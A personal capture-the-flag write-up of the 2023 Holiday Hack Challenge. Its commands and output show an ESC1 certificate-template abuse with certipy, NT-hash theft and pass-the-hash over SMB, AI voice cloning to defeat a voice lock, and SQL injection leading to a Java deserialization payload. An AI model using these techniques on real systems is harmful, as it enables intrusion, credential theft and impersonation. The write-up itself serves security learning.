-rw-rw-rw- 165 Tue Dec 19 01:15:12 2023 todo.txt
alabaster@ssh-server-vm:~$ cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
I will need to impersonate someone from the research department to download the files.
To find a list of users to impersonate, impacket
may come in handy.
I also need the ability to generate a .pfx.
Messing around with certipy
:
alabaster@ssh-server-vm:~$ certipy find -u elfy@northpole.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)
Password:
[!] Failed to resolve: NORTHPOLE.LOCAL
[!] Failed to resolve: NORTHPOLE.LOCAL
[-] Got error: invalid server address
[-] Use -debug to print a stacktrace
alabaster@ssh-server-vm:~$ certipy find -u elfy@northpole.local -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
Password:
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231219054739_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231219054739_Certipy.txt'
[*] Saved JSON output to '20231219054739_Certipy.json'
That gave me cert CA information. May come in handy later. Name of the CA: northpole-npdc01-CA
This got me a pfx:
alabaster@ssh-server-vm:~$ certipy req -ca northpole-npdc01-CA -u elfy@northpole.local -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
Password:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 24
[*] Got certificate with UPN 'elfy@northpole.local'
[*] Certificate object SID is 'S-1-5-21-2141915261-1331189239-2795416560-1104'
[*] Saved certificate and private key to 'elfy.pfx'
Definitely close to solving this. Problem is, I don’t need a cert for elfy, I want one for a researcher. Now an impacket script to enumerate users may be helpful.
This shows me “all” users:
alabaster@ssh-server-vm:~$ GetADUsers.py northpole.local/elfy -all -dc-ip 10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-19 01:03:30.683693 2023-12-19 01:18:10.640968
Guest <never> <never>
krbtgt 2023-12-19 01:11:40.149623 <never>
elfy 2023-12-19 01:14:17.462910 2023-12-19 05:22:30.500956
wombleycube 2023-12-19 01:14:17.587888 2023-12-19 05:49:48.014286
Wombleycube has to be it. There’s no other elves really. But in order to generate a pfx for that user, I need his hash. Maybe an impacket tool will help there?
Discord has told me the tool I need is certipy
. Apparently there is a cert-related vuln that I need to exploit to get a TGT.
certipy auth will give me the hash. But I need a PFX first.
Pretty sure I need to do certipy forge.
From the github: Golden Certificates are certificates that are manually forged with a compromised CA's certificate and private key.
So it looks like I need to compromise a vuln in the CA to get their cert and private key (maybe just the cert?)
This find command let me see the vuln in the NorthPoleUsers template:
alabaster@ssh-server-vm:~$ certipy find -u elfy@northpole.local -dc-ip 10.0.0.53 -password 'J4`ufC49/J4766' -vulnerable
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231219063650_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231219063650_Certipy.txt'
[*] Saved JSON output to '20231219063650_Certipy.json'
alabaster@ssh-server-vm:~$ cat '20231219063650_Certipy.txt'
Certificate Authorities
0
CA Name : northpole-npdc01-CA
DNS Name : npdc01.northpole.local
Certificate Subject : CN=northpole-npdc01-CA, DC=northpole, DC=local
Certificate Serial Number : 17C3C9AF16B4A4A94DD58A34DE34AF38
Certificate Validity Start : 2023-12-19 01:07:03+00:00
Certificate Validity End : 2028-12-19 01:17:03+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : NORTHPOLE.LOCAL\Administrators
Access Rights
ManageCertificates : NORTHPOLE.LOCAL\Administrators
NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
ManageCa : NORTHPOLE.LOCAL\Administrators
NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Enroll : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
0
Template Name : NorthPoleUsers
Display Name : NorthPoleUsers
Certificate Authorities : northpole-npdc01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Encrypting File System
Secure Email
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Domain Users
NORTHPOLE.LOCAL\Enterprise Admins
Object Control Permissions
Owner : NORTHPOLE.LOCAL\Enterprise Admins
Write Owner Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Write Dacl Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
Write Property Principals : NORTHPOLE.LOCAL\Domain Admins
NORTHPOLE.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC1 : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
Then I can exploit that and get the cert (ref the ESC-1 vuln details in the github page):
alabaster@ssh-server-vm:~$ certipy req -username elfy@northpole.local -password 'J4`ufC49/J4766' -ca northpole-npdc01-CA -target 10.0.0.53 -template NorthPoleUsers -upn wombleycube@northpole.local -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 27
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
Then I can use that cert to get the hash:
alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Then use smbclient.py
to use that hash and auth to the share:
alabaster@ssh-server-vm:~$ smbclient.py northpole.local/wombleycube@10.0.0.53 -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# ls
[-] No share selected
Mget the file in the directory!
alabaster@ssh-server-vm:~$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
Space Island Door Access Speaker
Hint
MFA: Something you Know: Wombley says a specific phrase into the Access Speaker. He works in the Research Department and everything they do it super secret, so it may be a challenge to find out what the phrase is. Ribb also works in that department. Try to find and ask him. Ribb Bonbowford over at Coggoggle Marina on Steampunk Island may know.
He wants me to check on Alabaster Snowball at Rainraster Cliffs on Pixel Island though first. Basically, do Certificate SSHenanigans first.
It seems the Access Speaker is programmed to only accept Wombley’s voice. Maybe you could get a sample of his voice and use an AI tool to simulate Wombley speaking the passphrase.
Objective
Upload a .wav file containing a voice saying a specific word and open this door on Space Island.
Progress
Have the passphrase from the AD challenge, but it turns out that’s not enough. There is MFA: something you “are”. I have to “become” Wombley.
Try searching for another AI tool that can simulate voices. Use the audiobook I downloaded to the train the AI.
Used PlayHT, free account.
Recorded the spoofed voice and uploaded it to the door. There was a small server-side issue that prevented me from completing this for a bit, but it was resolved.
Camera Access
Hint
Hubris is a Virtue: In his hubris, Wombley revealed that he thinks you won’t be able to access the satellite’s “Supervisor Directory”. There must be a good reason he mentioned that specifically, and a way to access it. He also said there’s someone else masterminding the whole plot. There must be a way to discover who that is using the nanosat.
Objective
Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?
Kinda unclear, but I think i’m supposed to hack the satellite and get access to the “Supervisor Directory”. Jack is masterminding it (obviously), and he must be using the nanostat.
Progress
In the satellite room there are two things to click on:
- GateXOR
- Video of a satellite coming to earth
GateXOR seems like a good starting point. From the info:
-
GateXOR is a magical time shifting alligator. For certain challenges GateXOR empowers the adventurer to perform point-in-time Travel or Collapse the specific timeline of the challenge, in order to start the challenge from the beginning.
-
Be warned! While GateXOR tries to help as many concurrent players as possible, this reptile only has so much juice in the tank. If running low on time-energy, GateXOR will let you know that a rest is required and that you’ll have to take a short break.
-
P.S. The magical modern dino is here to help and is not to be hacked! In fact if you find a bug, DM Santa’s team about it in the Discord channel!
So I guess Time Travel starts the challenge, and Collapse restarts.
After hitting Time Travel, I get this:
Status: 🟢 | Ttl: 3.9 hours | Target: 34.28.168.4
And some Wireguard config files :
###BEGIN###
### This is the server's Wireguard configuration file. Please consider saving it for your record. ###
[Interface]
Address = 10.1.1.1/24
PrivateKey = fYiVyqSdZGscxs6Kv3u5dXyfTna86eRGkVrbVm1FC1c=
ListenPort = 51820
[Peer]
PublicKey = EG6+aSDwqma5LfTSA3uqdItjAPjXjmILgsiTR0bFM0U=
AllowedIPs = 10.1.1.2/32
###END####
###BEGIN###
### This is your Wireguard configuration file. Please save it, configure a local Wireguard client, and connect to the Target. ###
[Interface]
Address = 10.1.1.2/24
PrivateKey = n85bEMsIKkZRn3qfph7BOXvNnCJBYoGDhIXx8nqGhdA=
ListenPort = 51820
[Peer]
PublicKey = gGQYm9ZyL3iP4F2cpEHlOsf86i0MdSJnIiHy3jBG63A=
Endpoint = 34.28.168.4:51820
AllowedIPs = 10.1.1.1/32
###END####
I loaded the bottom file (not my server file) into wireguard.conf
and loaded it in my wireguard client. Then activated the connection.
I unpacked the zip, and it’s actually a container image. I think i’m supposed to load that wireguard conf file into my running container and interact with the nanostat framework from there.
Side note: I should use docker cp
when moving files back and forth.
Trying to figure out the space portion of things now. Unsure if I need to use an existing nmf client on the machine, or build it myself.
I apparently need to use /opt/nmf/consumer-test-tool/consumer-test-tool.sh
(CTT interface).
So I found the tool I need to use to connect, and the field/syntax to enter, but I need the IP and port still.
The IP is in the wireguard config, and I can ping it, but I need the port. Doing an nmap scan now.
Nmap showed me the port is 1024.
I connected via CTT using maltcp://34.28.168.4:1024/nanosat-mo-supervisor-Directory
I can see the Camera app, but it’s another maltcp endpoint, and I’m not sure how to connect to that.
Found the cli-tool, but I can’t ping 10.1.1.1. May need to regenerate the gator thing.
Regenerating worked, and I was able to take a picture.
The picture was just black though, so I think the CLI isn’t the way to do it. So I revisited CTT.
That connect button wasn’t working for me because I was using the public (34.x) IP. I needed to use the 10.1.1.1 IP, but I think something was wrong with my wireguard connection. I ended up reconnecting a couple times, doing a docker cp of the new config file, flipping my interface, and trying the ping again. Once the ping finally went through, I kept it on, and that seemed to fix it permanently.
Once the connect button was working, it opened up a whole new area of CTT. In the first menu, I could “start apps”. One of those apps being Camera, which I wanted to be on.
I clicked on that app, started it, and it gave me a new “camera” maltcp directory URL to connect to. I connected to that from the main menu of CTT, and hit the connect button, which opened up the “camera” app interface.
From that interface, there is a button to “snap a picture”. I did that, and looked in wireshark to see if the PNG was there, but it was not.
Drilling down a bit more into the interface, there was another button called something like “get B64 encoded representation of the camera image”.
Clicking that opens a dialog box that is unreadable, but it displays in a TCP stream in wireshark. I had to wait for the stream to reach something like 3000 packets, then copied all the B64 into a file, then decoded it/exported it into a PNG file. Opened that on my host machine, and was able to see the todo list, which the last message was:
CONQUER HOLIDAY SEASON!
Missile Diversion
Hint
Always Lock Your Computer: Wombley thinks he may have left the admin tools open. I should check for those if I get stuck.
Says ^ Terminal: Satellite Ground Station Control Panel. Not sure what that is.
Objective
Thwart Jack’s evil plan by re-aiming his missle at the Sun.
Progress
Notes from discord:
Log back into directory service, but instead of launching the camera app, launch the missle app. Connect to it just like i did the camera.
Poke around in the UI until you see signs of SQL interaction. Maybe hit the debug button, and then use wireshark to sniff that traffic.
SQLi is involved. Try the command show grants. The satellite_query
table might be vulnerable?
ChatGPT may be helpful here.
From reportinator:
SQL Injection Vulnerability in Java Application.
SCS identified an SQL injection vulnerability within the UserAccount module of an externally-facing Java application. Nessus and OWASP Zed Attack Proxy (ZAP) scanning tools first identified the vulnerability. SCS manually verified the vulnerability with the sqlmap tool. SCS provides an example of the sqlmap interface in Image 1. The analysis shows the Java application fails to sanitize user-supplied input in the username field before passing it to an SQL query. This flaw can be exploited to manipulate database queries, which can lead to unauthorized data disclosure, data loss, or even complete host takeover. An attacker can use this vulnerability to bypass authentication, execute arbitrary commands, access sensitive information, or delete or modify data.
SQLmap example usage:
python sqlmap.py -u “http://debiandev/sqlmap/mysql/get_int.php?id=1 –batch
Verification:
NPS security teams can verify the remediation of this finding by re-running the OWASP ZAP and sqlmap tools on the UserAccount module of the Java application, and ensure that no SQL injection vulnerabilities are detected by the tools. Additionally, NPS security teams can enter various types of input in the username field, such as numeric, alphanumeric, special characters, or SQL keywords to perform manual brute force verification
Remote Code Execution via Java Deserialization of Stored Database Objects (less likely to apply)
SCS analysts identified a vulnerability within an externally-accessible Java application on IP address 10.136.194.88. SCS evaluated this application with the ysoserial tool and Burp Suite to manually evaluate the application for typical Java vulnerabilities. As shown in Listing 1, we discovered the application uses Java's native serialization to store and retrieve objects from the AppData database table. This method is insecure. By intercepting HTTP request traffic on 88555/TCP, malicious actors can exploit this vulnerability by crafting and submitting specially serialized objects that can lead to remote code execution upon deserialization. Exploitation of this vulnerability could enable an attacker to execute arbitrary code on the application server and create a reverse shell, delete files, or access sensitive data.
Verification: NPS security teams can verify the remediation of this finding with the ysoserial tool. The tool will stress the Java application with different commands and payloads to determine if the application is still vulnerable.
Notes from actual work:
When you connect to the initial “App Launcher Service”, one of two apps you can startup are “missle-targeting-system”.
The URL it gives back is maltcp://10.1.1.1:1025/missile-targeting-system-Directory
I put that into the Directory Service URL field and Fetched Information to find new services there. But more importantly, hit Connect and open a new UI.
In the Action Service tab, you can hit the Debug button. That returns nothing, so wireshark would be unable to see anything (and it didn’t).
But, in the Parameter service tab, you can Get the Debug value, which returns a rawValue of 11.2.2-MariaDB-1:11.2.2+maria~ubu2204.
SQLi is def involved here. Sniffing wireshark now.
If you Get the value in PointingMode, it is set to Earth Point Mode. I probably have to use SQLi to set it to Sun Point Mode.
Found my attack vector. You can edit “arguments” when you submit that Debug action, and it takes SQL commands. My first payload had a syntax error, but it returned something about it, so I know it works.
This payload works: ;
SHOW GRANTS #
So, this looks like I only have SELECT
rights on most of the tables, like pointing_mode, messaging, etc. Which isn’t super helpful for SQLi.
But…I have INSERT rights on satellite_query. And that is the table that Discord mentioned, so that is the attack avenue.
A payload of ; SELECT * from satellite_query
returns Java code. Which lines up with what Discord is mentioning. But I can’t copy it from the UI - I need to grab it from Wireshark.
Copied it from wireshark. Also in the header, it said it was from /opt/SatelliteQueryFileFolderUtility.java
.
Not sure how to use this code. For now, I’m just gonna analyze it and take notes: Only one function of importance - getResults. Returns a String. What does this code do (overall)?
Also, this payload works:
; SELECT * from pointing_mode_to_str#
Knowing that, I can look at pointing_mode and see what the ID is: ; SELECT * from pointing_mode#
The numerical_mode is set to Zero - which is earth point mode. The ultimate goal is this: change that to a 1.
Tried this payload:
; UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1#
But I get this “command denied” error:
That error makes sense, since the show grants command told me I only have SELECT rights on that table. So I have to privesc somehow using that vulnerable table satellite_query.
Results is what contained the actual Java class code. ID was 1, like normal. And object was kinda a bunch of random text, including the name of the class file /opt/
Just realized this: I only have the INSERT right on that table. So I cannot modify that first row, I need to insert a new one.
I’m thinking that object stores a serialized Java object. And I have to INSERT a new Java serialized object into that table. Once I do that, it automatically gets executed because of a server-side job.
My payload should update the sun pointing direction thing. 0 to a 1.
Just need to write my payload. Need some more research on Java serialization first. Going to ask ChatGPT. Maybe it can generate my payload, even.
More thoughts: The satellite_query table deserializes the object right then and there in the results column. So that is how the code would get executed presumably.
Couple issues with my payload: I probably want to implement that class it gives me. But, how can I do that without sitting right next to that class file? Going to test just copying all of that code, and adding other code on top of it. Bigger issue: I don’t have a connection string. Asked my discord contact, waiting to hear back. Will ask ChatGPT.
Experimenting with ysoserial and just did a ‘id’ payload. Trying to figure out how to “hex represent” that file. Figure it out I think. But my id payload doesn’t do anything, makes sense.
; insert into satellite_query(object) VALUES (UNHEX())
To upload my payload, I use the SQLi vuln, insert on that table and use the HEX keyword.
Something like:
insert into satellite_query (name_of_table_column) values ('9fad5e9eefdfb449');
All finished! In summary, I was on the right track with writing my custom code. Ysoserial was a rabbit hole.
This was my final code (generated from ChatGPT actually):
Side note - the code given actually had a bug at first, it should have been sqlupdatecommand, true, true but chatgpt gave me false, true. Fixed it manually.
import java.io.*;
import java.sql.DriverManager;
import java.sql.Connection;
public class payload implements Serializable {
public static void main(String[] args) {
// Replace these values with your actual database connection details
String jdbcUrl = "jdbc:mariadb://localhost:3306/missile_targeting_system";
String username = "targeter";
String password = "cu3xmzp9tzpi00bdqvxq";
// SQL command to update the pointing_mode table
String sqlUpdateCommand = "UPDATE pointing_mode SET numerical_mode = 1 WHERE id = 1";
// Create an instance of SatelliteQueryFileFolderUtility
SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility(sqlUpdateCommand, true, true);
// Serialize the object
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serializedObject.ser"))) {
oos.writeObject(utility);
System.out.println("Serialization complete");
} catch (IOException e) {
e.printStackTrace();
}
// The rest of your code (Connection setup and calling getResults) remains unchanged
try (Connection connection = DriverManager.getConnection(jdbcUrl, username, password)) {
// Call the getResults method with the Connection object
String result = utility.getResults(connection);
// Print the result
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
I compiled it (alongside the Class java file, and installed some libraries to make it work), got the .ser file, hexdumped it, then used that same sQLi avenue to inject it into the table:
; insert into satellite_query(object) VALUES (UNHEX(‘myhex’))
That worked and I got a video of the missile hitting the sun.